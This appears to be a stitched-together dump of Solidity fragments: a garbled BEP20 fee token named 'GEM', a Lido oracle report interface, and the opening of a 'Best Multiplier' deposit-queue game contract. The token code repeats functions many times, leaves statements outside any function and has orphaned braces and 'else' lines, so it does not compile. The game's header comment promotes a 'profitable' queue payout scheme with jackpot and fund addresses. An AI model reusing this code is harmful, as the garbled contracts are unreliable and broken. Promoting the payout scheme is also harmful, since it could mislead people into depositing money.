function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
}
function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
return getLiquidityBacking(accuracy) > target;
}
function getContractBalances() external view authorized returns (uint) {
return _balances[address(this)];
}
function getContractBNBBalances() external view authorized returns (uint) {
return address(this).balance;
}
function getAmountToLiquify() external view authorized returns (uint) {
return swapThreshold.mul(liquidityFee).div(totalFee).div(2);
}
function getAmountToSwap() external view authorized returns (uint) {
uint256 amountToLiquify = swapThreshold.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
return amountToSwap;
}
function getAmountBNBReflection() external view authorized returns (uint) {
IBEP20 _rewardToken = IBEP20(rewardToken);
uint256 balanceBefore = _rewardToken.balanceOf(address(this));
uint256 amountBNB = address(this).balance.sub(balanceBefore);
uint256 totalBNBFee = totalFee.sub(liquidityFee.div(2));
uint256 amountBNBReflection = amountBNB.mul(reflectionFee).div(totalBNBFee);
return amountBNBReflection;
}
/* End Debugging functions */
/* Airdrop Begins */
function airdrop(address from, address[] calldata addresses, uint256[] calldata tokens) external authorized {
uint256 SCCC = 0;
require(addresses.length == tokens.length,"Mismatch between Address and token count");
for(uint i=0; i < addresses.length; i++){
SCCC = SCCC + tokens[i];
}
require(balanceOf(from) >= SCCC, "Not enough tokens in wallet for airdrop");
for(uint i=0; i < addresses.length; i++){
_basicTransfer(from,addresses[i],tokens[i]);
if(!isDividendExempt[addresses[i]]) {
try distributor.setShare(addresses[i], _balances[addresses[i]]) {} catch {}
}
}
// Dividend tracker
if(!isDividendExempt[from]) {
try distributor.setShare(from, _balances[from]) {} catch {}
}
emit AirDropEvent(addresses, tokens);
}
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
}
|
address routerAddress =0x8178b2B32E553ad96Ff19C8546F1340651b0C784;max wallet holding of 1% Cooldown & timer functionality
|
contract TEST is IBEP20, Auth {
using SafeMath for uint256;
using Address for address;
address rewardToken = address(this);
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "GEM";
string constant _symbol = "GEM";
uint8 constant _decimals = 9;
uint256 _totalSupply = 1 * 10**9 * (10 ** _decimals);
uint256 deadBlocks = 2;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isTimelockExempt;
mapping (address => bool) isDividendExempt;
uint256 liquidityFee = 2;
uint256 reflectionFee = 0;
uint256 marketingFee = 4;
uint256 devFee = 0;
uint256 public totalFee = 6;
uint256 sellMultiplier = 100;
uint256 feeDenominator = 100;
address autoLiquidityReceiver;
address marketingFeeReceiver;
address devFeeReceiver;
uint256 targetLiquidity = 20;
uint256 targetLiquidityDenominator = 100;
IDEXRouter public router;
address public pair;
bool public tradingOpen = false;
uint256 public launchedAt = 0;
DividendDistributor distributor;
uint256 distributorGas = 500000;
bool public opCooldownEnabled = true;
uint8 public cooldownTimerInterval = 15;
mapping (address => uint) private cooldownTimer;
bool public swapEnabled = true;
event SwapBackEvent(uint amountBNB, uint amountBNBLiquidity, uint amountBNBReflection, uint amountBNBMarketing);
event AirDropEvent(address[] addresses, uint256[] tokens);
event RouterChangedEvent(address _router);
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () Auth(msg.sender) {
router = IDEXRouter(routerAddress);
pair = IDEXFactory(router.factory()).createPair(WBNB, address(this));
_allowances[address(this)][address(router)] = type(uint256).max;
distributor = new DividendDistributor(address(router));
isFeeExempt[msg.sender] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[address(this)] = true;
isTxLimitExempt[routerAddress] = true;
isTimelockExempt[msg.sender] = true;
isTimelockExempt[DEAD] = true;
isTimelockExempt[address(this)] = true;
isDividendExempt[pair] = true;
isDividendExempt[address(this)] = false;
isDividendExempt[DEAD] = true;
isDividendExempt[ZERO] = true;
autoLiquidityReceiver = msg.sender;
marketingFeeReceiver = msg.sender;
devFeeReceiver = msg.sender;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(!_intAddr[sender] && !_intAddr[recipient]){
require(tradingOpen,"Trading not open yet");
}
if (!_intAddr[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != autoLiquidityReceiver && recipient != devFeeReceiver){
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}
if (sender == pair &&
opCooldownEnabled &&
!isTimelockExempt[recipient]) {
require(cooldownTimer[recipient] < block.timestamp,"Please wait for 1min between two operations");
cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
}
if(!_intAddr[sender] && !_intAddr[recipient]){
checkTxLimit(sender, amount);
}
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
if(!isDividendExempt[sender]) {
}
if(!isDividendExempt[recipient]) {
}
emit Transfer(sender, recipient, amountReceived);
return true;
}
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(!_intAddr[sender] && !_intAddr[recipient]){
require(tradingOpen,"Trading not open yet");
}
if (!_intAddr[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != autoLiquidityReceiver && recipient != devFeeReceiver){
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}
if (sender == pair &&
opCooldownEnabled &&
!isTimelockExempt[recipient]) {
require(cooldownTimer[recipient] < block.timestamp,"Please wait for 1min between two operations");
cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
}
if(!_intAddr[sender] && !_intAddr[recipient]){
checkTxLimit(sender, amount);
}
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
if(!isDividendExempt[sender]) {
}
if(!isDividendExempt[recipient]) {
}
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(!_intAddr[sender] && !_intAddr[recipient]){
require(tradingOpen,"Trading not open yet");
}
if (!_intAddr[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != autoLiquidityReceiver && recipient != devFeeReceiver){
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}
if (sender == pair &&
opCooldownEnabled &&
!isTimelockExempt[recipient]) {
require(cooldownTimer[recipient] < block.timestamp,"Please wait for 1min between two operations");
cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
}
if(!_intAddr[sender] && !_intAddr[recipient]){
checkTxLimit(sender, amount);
}
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
if(!isDividendExempt[sender]) {
}
if(!isDividendExempt[recipient]) {
}
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(!_intAddr[sender] && !_intAddr[recipient]){
require(tradingOpen,"Trading not open yet");
}
if (!_intAddr[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != autoLiquidityReceiver && recipient != devFeeReceiver){
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}
if (sender == pair &&
opCooldownEnabled &&
!isTimelockExempt[recipient]) {
require(cooldownTimer[recipient] < block.timestamp,"Please wait for 1min between two operations");
cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
}
if(!_intAddr[sender] && !_intAddr[recipient]){
checkTxLimit(sender, amount);
}
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
if(!isDividendExempt[sender]) {
}
if(!isDividendExempt[recipient]) {
}
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(!_intAddr[sender] && !_intAddr[recipient]){
require(tradingOpen,"Trading not open yet");
}
if (!_intAddr[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != autoLiquidityReceiver && recipient != devFeeReceiver){
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}
if (sender == pair &&
opCooldownEnabled &&
!isTimelockExempt[recipient]) {
require(cooldownTimer[recipient] < block.timestamp,"Please wait for 1min between two operations");
cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
}
if(!_intAddr[sender] && !_intAddr[recipient]){
checkTxLimit(sender, amount);
}
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
if(!isDividendExempt[sender]) {
}
if(!isDividendExempt[recipient]) {
}
emit Transfer(sender, recipient, amountReceived);
return true;
}
if(shouldSwapBack()){ swapBack();}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(!_intAddr[sender] && !_intAddr[recipient]){
require(tradingOpen,"Trading not open yet");
}
if (!_intAddr[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != autoLiquidityReceiver && recipient != devFeeReceiver){
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}
if (sender == pair &&
opCooldownEnabled &&
!isTimelockExempt[recipient]) {
require(cooldownTimer[recipient] < block.timestamp,"Please wait for 1min between two operations");
cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
}
if(!_intAddr[sender] && !_intAddr[recipient]){
checkTxLimit(sender, amount);
}
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
if(!isDividendExempt[sender]) {
}
if(!isDividendExempt[recipient]) {
}
emit Transfer(sender, recipient, amountReceived);
return true;
}
try distributor.setShare(sender, _balances[sender]) {} catch {}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(!_intAddr[sender] && !_intAddr[recipient]){
require(tradingOpen,"Trading not open yet");
}
if (!_intAddr[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != autoLiquidityReceiver && recipient != devFeeReceiver){
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}
if (sender == pair &&
opCooldownEnabled &&
!isTimelockExempt[recipient]) {
require(cooldownTimer[recipient] < block.timestamp,"Please wait for 1min between two operations");
cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
}
if(!_intAddr[sender] && !_intAddr[recipient]){
checkTxLimit(sender, amount);
}
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
if(!isDividendExempt[sender]) {
}
if(!isDividendExempt[recipient]) {
}
emit Transfer(sender, recipient, amountReceived);
return true;
}
try distributor.setShare(recipient, _balances[recipient]) {} catch {}
try distributor.process(distributorGas) {} catch {}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function tradingStatus(bool _status) public authorized {
tradingOpen = _status;
if(tradingOpen){
launchedAt = block.number;
}
}
function tradingStatus(bool _status) public authorized {
tradingOpen = _status;
if(tradingOpen){
launchedAt = block.number;
}
}
function checkTxLimit(address sender, uint256 amount) internal view {
if (sender == pair){
require(amount <= _maxTxAmountBuy || isTxLimitExempt[sender], "TX Limit Exceeded");
require(amount <= _maxTxAmountSell || isTxLimitExempt[sender], "TX Limit Exceeded");
}
}
function checkTxLimit(address sender, uint256 amount) internal view {
if (sender == pair){
require(amount <= _maxTxAmountBuy || isTxLimitExempt[sender], "TX Limit Exceeded");
require(amount <= _maxTxAmountSell || isTxLimitExempt[sender], "TX Limit Exceeded");
}
}
}else{
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function takeFee(address sender, uint256 amount) internal returns (uint256) {
uint256 multiplier = sender == pair ? 100 : sellMultiplier;
uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function setSellMultiplier(uint256 multiplier) external authorized{
sellMultiplier = multiplier;
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function clearStuckBalance(uint256 amountPercentage) external authorized {
uint256 amountBNB = address(this).balance;
payable(marketingFeeReceiver).transfer(amountBNB * amountPercentage / 100);
}
function cooldownEnabled(bool _status, uint8 _interval) public authorized {
opCooldownEnabled = _status;
cooldownTimerInterval = _interval;
}
function swapBack() internal swapping {
uint256 dynamicliquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
uint256 amountToLiquify = swapThreshold.mul(dynamicliquidityFee).div(totalFee).div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WBNB;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountBNB = address(this).balance.sub(balanceBefore);
uint256 totalBNBFee = totalFee.sub(dynamicliquidityFee.div(2));
uint256 amountBNBLiquidity = amountBNB.mul(dynamicliquidityFee).div(totalBNBFee).div(2);
uint256 amountBNBReflection = amountBNB.mul(reflectionFee).div(totalBNBFee);
uint256 amountBNBMarketing = amountBNB.mul(marketingFee).div(totalBNBFee);
uint256 amountBNBDev = amountBNB.mul(devFee).div(totalBNBFee);
if (amountBNBReflection > 0){
}
tmpSuccessDev = false;
if(amountToLiquify > 0){
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
}
emit SwapBackEvent(amountBNB, amountBNBLiquidity, amountBNBReflection, amountBNBMarketing);
}
function swapBack() internal swapping {
uint256 dynamicliquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
uint256 amountToLiquify = swapThreshold.mul(dynamicliquidityFee).div(totalFee).div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WBNB;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountBNB = address(this).balance.sub(balanceBefore);
uint256 totalBNBFee = totalFee.sub(dynamicliquidityFee.div(2));
uint256 amountBNBLiquidity = amountBNB.mul(dynamicliquidityFee).div(totalBNBFee).div(2);
uint256 amountBNBReflection = amountBNB.mul(reflectionFee).div(totalBNBFee);
uint256 amountBNBMarketing = amountBNB.mul(marketingFee).div(totalBNBFee);
uint256 amountBNBDev = amountBNB.mul(devFee).div(totalBNBFee);
if (amountBNBReflection > 0){
}
tmpSuccessDev = false;
if(amountToLiquify > 0){
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
}
emit SwapBackEvent(amountBNB, amountBNBLiquidity, amountBNBReflection, amountBNBMarketing);
}
try distributor.deposit{value: amountBNBReflection}() {} catch {}
(bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountBNBMarketing, gas: 30000}("");
(bool tmpSuccessDev,) = payable(devFeeReceiver).call{value: amountBNBDev, gas: 30000}("");
tmpSuccess = false;
function swapBack() internal swapping {
uint256 dynamicliquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
uint256 amountToLiquify = swapThreshold.mul(dynamicliquidityFee).div(totalFee).div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WBNB;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountBNB = address(this).balance.sub(balanceBefore);
uint256 totalBNBFee = totalFee.sub(dynamicliquidityFee.div(2));
uint256 amountBNBLiquidity = amountBNB.mul(dynamicliquidityFee).div(totalBNBFee).div(2);
uint256 amountBNBReflection = amountBNB.mul(reflectionFee).div(totalBNBFee);
uint256 amountBNBMarketing = amountBNB.mul(marketingFee).div(totalBNBFee);
uint256 amountBNBDev = amountBNB.mul(devFee).div(totalBNBFee);
if (amountBNBReflection > 0){
}
tmpSuccessDev = false;
if(amountToLiquify > 0){
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
}
emit SwapBackEvent(amountBNB, amountBNBLiquidity, amountBNBReflection, amountBNBMarketing);
}
router.addLiquidityETH{value: amountBNBLiquidity}(
function setTxLimit(uint256 amountBuy, uint256 amountSell) external authorized {
_maxTxAmountBuy = amountBuy;
_maxTxAmountSell = amountSell;
}
function setMaxWalletPercent(uint256 maxWallPercent) external authorized() {
_maxWalletToken = (_totalSupply * maxWallPercent ) / 100;
}
function setIsDividendExempt(address holder, bool exempt) external authorized {
require(holder != address(this) && holder != pair);
isDividendExempt[holder] = exempt;
if(exempt){
distributor.setShare(holder, 0);
distributor.setShare(holder, _balances[holder]);
}
}
function setIsDividendExempt(address holder, bool exempt) external authorized {
require(holder != address(this) && holder != pair);
isDividendExempt[holder] = exempt;
if(exempt){
distributor.setShare(holder, 0);
distributor.setShare(holder, _balances[holder]);
}
}
}else{
function setIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt) external authorized {
isTxLimitExempt[holder] = exempt;
}
function setIsTimelockExempt(address holder, bool exempt) external authorized {
isTimelockExempt[holder] = exempt;
}
function setAllExempt(address _holder, bool _exempt) external authorized {
isFeeExempt[_holder] = _exempt;
isTxLimitExempt[_holder] = _exempt;
isTimelockExempt[_holder] = _exempt;
if (_exempt){
authorize(_holder);
}
else {
unauthorize(_holder);
}
}
function setAllExempt(address _holder, bool _exempt) external authorized {
isFeeExempt[_holder] = _exempt;
isTxLimitExempt[_holder] = _exempt;
isTimelockExempt[_holder] = _exempt;
if (_exempt){
authorize(_holder);
}
else {
unauthorize(_holder);
}
}
function setAllExempt(address _holder, bool _exempt) external authorized {
isFeeExempt[_holder] = _exempt;
isTxLimitExempt[_holder] = _exempt;
isTimelockExempt[_holder] = _exempt;
if (_exempt){
authorize(_holder);
}
else {
unauthorize(_holder);
}
}
function setFees(uint256 _liquidityFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _devFee, uint256 _feeDenominator) external authorized {
liquidityFee = _liquidityFee;
reflectionFee = _reflectionFee;
marketingFee = _marketingFee;
devFee = _devFee;
totalFee = _liquidityFee.add(_reflectionFee).add(_marketingFee).add(_devFee);
feeDenominator = _feeDenominator;
require(totalFee < feeDenominator/4);
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _devFeeReceiver) external authorized {
autoLiquidityReceiver = _autoLiquidityReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
devFeeReceiver = _devFeeReceiver;
isFeeExempt[_autoLiquidityReceiver];
isFeeExempt[_marketingFeeReceiver];
isFeeExempt[_devFeeReceiver];
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
swapEnabled = _enabled;
swapThreshold = _amount;
}
function setTargetLiquidity(uint256 _target, uint256 _denominator) external authorized {
targetLiquidity = _target;
targetLiquidityDenominator = _denominator;
}
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external authorized {
distributor.setDistributionCriteria(_minPeriod, _minDistribution);
}
function setDistributorSettings(uint256 gas) external authorized {
require(gas < 750000);
distributorGas = gas;
}
function setRewardToken(address _newToken) external authorized {
require(_newToken.isContract(), "Enter valid contract address");
rewardToken = _newToken;
distributor.changeToken(_newToken);
}
function setRouterAddress(address _router) external authorized {
router = IDEXRouter(_router);
pair = IDEXFactory(router.factory()).createPair(WBNB, address(this));
_allowances[address(this)][address(router)] = type(uint256).max;
isDividendExempt[pair] = true;
isTxLimitExempt[_router] = true;
distributor.setRouterAddress(_router);
emit RouterChangedEvent(_router);
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
}
function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
return getLiquidityBacking(accuracy) > target;
}
function getContractBalances() external view authorized returns (uint) {
return _balances[address(this)];
}
function getContractBNBBalances() external view authorized returns (uint) {
return address(this).balance;
}
function getAmountToLiquify() external view authorized returns (uint) {
return swapThreshold.mul(liquidityFee).div(totalFee).div(2);
}
function getAmountToSwap() external view authorized returns (uint) {
uint256 amountToLiquify = swapThreshold.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
return amountToSwap;
}
function getAmountBNBReflection() external view authorized returns (uint) {
IBEP20 _rewardToken = IBEP20(rewardToken);
uint256 balanceBefore = _rewardToken.balanceOf(address(this));
uint256 amountBNB = address(this).balance.sub(balanceBefore);
uint256 totalBNBFee = totalFee.sub(liquidityFee.div(2));
uint256 amountBNBReflection = amountBNB.mul(reflectionFee).div(totalBNBFee);
return amountBNBReflection;
}
function airdrop(address from, address[] calldata addresses, uint256[] calldata tokens) external authorized {
uint256 SCCC = 0;
require(addresses.length == tokens.length,"Mismatch between Address and token count");
for(uint i=0; i < addresses.length; i++){
SCCC = SCCC + tokens[i];
}
require(balanceOf(from) >= SCCC, "Not enough tokens in wallet for airdrop");
for(uint i=0; i < addresses.length; i++){
_basicTransfer(from,addresses[i],tokens[i]);
if(!isDividendExempt[addresses[i]]) {
}
}
if(!isDividendExempt[from]) {
}
emit AirDropEvent(addresses, tokens);
}
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
function airdrop(address from, address[] calldata addresses, uint256[] calldata tokens) external authorized {
uint256 SCCC = 0;
require(addresses.length == tokens.length,"Mismatch between Address and token count");
for(uint i=0; i < addresses.length; i++){
SCCC = SCCC + tokens[i];
}
require(balanceOf(from) >= SCCC, "Not enough tokens in wallet for airdrop");
for(uint i=0; i < addresses.length; i++){
_basicTransfer(from,addresses[i],tokens[i]);
if(!isDividendExempt[addresses[i]]) {
}
}
if(!isDividendExempt[from]) {
}
emit AirDropEvent(addresses, tokens);
}
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
function airdrop(address from, address[] calldata addresses, uint256[] calldata tokens) external authorized {
uint256 SCCC = 0;
require(addresses.length == tokens.length,"Mismatch between Address and token count");
for(uint i=0; i < addresses.length; i++){
SCCC = SCCC + tokens[i];
}
require(balanceOf(from) >= SCCC, "Not enough tokens in wallet for airdrop");
for(uint i=0; i < addresses.length; i++){
_basicTransfer(from,addresses[i],tokens[i]);
if(!isDividendExempt[addresses[i]]) {
}
}
if(!isDividendExempt[from]) {
}
emit AirDropEvent(addresses, tokens);
}
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
function airdrop(address from, address[] calldata addresses, uint256[] calldata tokens) external authorized {
uint256 SCCC = 0;
require(addresses.length == tokens.length,"Mismatch between Address and token count");
for(uint i=0; i < addresses.length; i++){
SCCC = SCCC + tokens[i];
}
require(balanceOf(from) >= SCCC, "Not enough tokens in wallet for airdrop");
for(uint i=0; i < addresses.length; i++){
_basicTransfer(from,addresses[i],tokens[i]);
if(!isDividendExempt[addresses[i]]) {
}
}
if(!isDividendExempt[from]) {
}
emit AirDropEvent(addresses, tokens);
}
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
try distributor.setShare(addresses[i], _balances[addresses[i]]) {} catch {}
function airdrop(address from, address[] calldata addresses, uint256[] calldata tokens) external authorized {
uint256 SCCC = 0;
require(addresses.length == tokens.length,"Mismatch between Address and token count");
for(uint i=0; i < addresses.length; i++){
SCCC = SCCC + tokens[i];
}
require(balanceOf(from) >= SCCC, "Not enough tokens in wallet for airdrop");
for(uint i=0; i < addresses.length; i++){
_basicTransfer(from,addresses[i],tokens[i]);
if(!isDividendExempt[addresses[i]]) {
}
}
if(!isDividendExempt[from]) {
}
emit AirDropEvent(addresses, tokens);
}
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
try distributor.setShare(from, _balances[from]) {} catch {}
}
| 7,716,216
|
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./partial_match/1/0xADa6E33aa65590934870bFD204Fe8efe9c6Aa4bC/sources/contracts/0.4.24/interfaces/IBeaconReportReceiver.sol
|
* @title Interface defining a callback that the quorum will call on every quorum reached/
|
interface IBeaconReportReceiver {
function processLidoOracleReport(uint256 _postTotalPooledEther,
uint256 _preTotalPooledEther,
uint256 _timeElapsed) external;
}
| 4,023,823
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number of Ape staked in the Barn
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uint256 public totalApeStaked;
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pragma solidity ^0.4.25;
/**
*
* Best Multiplier - profitable financial game
* Honest, fully automated smart quick turn contract with a jackpot system
*
* Web - https://bestmultiplier.biz
* Telegram channel - https://t.me/bestMultiplierNews
* Telegram chat - https://t.me/bestMultiplier
*
* - Contribution allocation schemes:
* -- 90% players
* -- 5% jackpot
* -- 3.25% promotion
* -- 1.75% support
*
* - Limits:
* -- Min deposit: 0.01 ETH
* -- Min deposit for jackpot: 0.05 ETH
* -- Max deposit: 7 ETH
*
* Recommended gas limit: 300000
* Recommended gas price: https://ethgasstation.info/
*
*/
contract BestMultiplier {
uint constant MINIMAL_DEPOSIT = 0.01 ether; // minimum deposit for participation in the game
uint constant MAX_DEPOSIT = 7 ether; // maximum possible deposit
uint constant JACKPOT_MINIMAL_DEPOSIT = 0.05 ether; // minimum deposit for jackpot
uint constant JACKPOT_DURATION = 20 minutes; // the duration of the jackpot after which the winner will be determined
uint constant JACKPOT_PERCENTAGE = 500; // jackpot winner gets 5% of all deposits
uint constant PROMOTION_PERCENTAGE = 325; // 3.25% will be sent to the promotion of the project
uint constant PAYROLL_PERCENTAGE = 175; // 1.75% will be sent to support the project
// These 2 addresses, one of which is a backup, can set a new time to start the game.
address constant MANAGER = 0x6dACb074D55909e3a477B926404A3a3A5BeF0d39;
address constant RESERVE_MANAGER = 0xE33c7B34c6113Fb066F16660791a0bB38f416cb8;
// Address where ETH will be sent for project promotion
address constant PROMOTION_FUND = 0x8026F25c6f898b4afE03d05F87e6c2AFeaaC3a3D;
// Address where ETH will be sent to support the project
address constant SUPPORT_FUND = 0x8a3F4DCb5c59b555a54Ee171c6e98320547Dd4F4;
struct Deposit {
address member;
uint amount;
}
struct Jackpot {
address lastMember;
uint time;
uint amount;
}
Deposit[] public deposits; // keeps a history of all deposits
Jackpot public jackpot; // stores the data for the current jackpot
uint public totalInvested; // how many ETH were collected for this game
uint public currentIndex; // current deposit index
uint public startTime; // start time game. If this value is 0, the contract is temporarily stopped
// this function called every time anyone sends a transaction to this contract
function () public payable {
// the contract can only take ETH when the game is running
require(isRunning());
address member = msg.sender; // address of the current player who sent the ETH
uint amount = msg.value; // the amount sent by this player
// ckeck to jackpot winner
if (now - jackpot.time >= JACKPOT_DURATION && jackpot.time > 0) {
send(member, amount); // return this deposit to the sender
if (!payouts()) { // send remaining payouts
return;
}
send(jackpot.lastMember, jackpot.amount); // send jackpot to winner
startTime = 0; // stop queue
return;
}
// deposit check
require(amount >= MINIMAL_DEPOSIT && amount <= MAX_DEPOSIT);
// add member to jackpot
if (amount >= JACKPOT_MINIMAL_DEPOSIT) {
